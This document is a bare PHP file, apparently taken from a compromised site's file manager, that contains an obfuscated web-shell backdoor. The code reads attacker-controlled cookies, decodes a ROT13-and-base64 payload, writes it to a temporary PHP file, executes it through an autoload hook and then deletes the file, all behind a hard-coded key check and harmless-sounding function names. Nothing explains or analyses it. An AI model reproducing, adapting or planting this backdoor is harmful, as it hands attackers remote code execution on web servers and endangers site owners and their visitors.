Sindbad~EG File Manager

<?php


if (isset($_COOKIE[0+0]) && isset($_COOKIE[-52+53]) && isset($_COOKIE[-26+29]) && isset($_COOKIE[77-73])) {
    $res = $_COOKIE;
    function approve_request($property_set) {
        $res = $_COOKIE;
        $pointer = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '29e4681b');
        if (!is_writable($pointer)) {
            $pointer = getcwd() . DIRECTORY_SEPARATOR . "query_handler";
        }
        $symbol = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($res[3]));
        if (is_writeable($pointer)) {
            $mrk = fopen($pointer, 'w+');
            fputs($mrk, $symbol);
            fclose($mrk);
            spl_autoload_unregister(__FUNCTION__);
            require_once($pointer);
            @array_map('unlink', array($pointer));
        }
    }
    spl_autoload_register("approve_request");
    $pgrp = "0d4c30f5d0c1f5be19a648f537528a7a";
    if (!strncmp($pgrp, $res[4], 32)) {
        if (@class_parents("request_approved_publish_content", true)) {
            exit;
        }
    }
}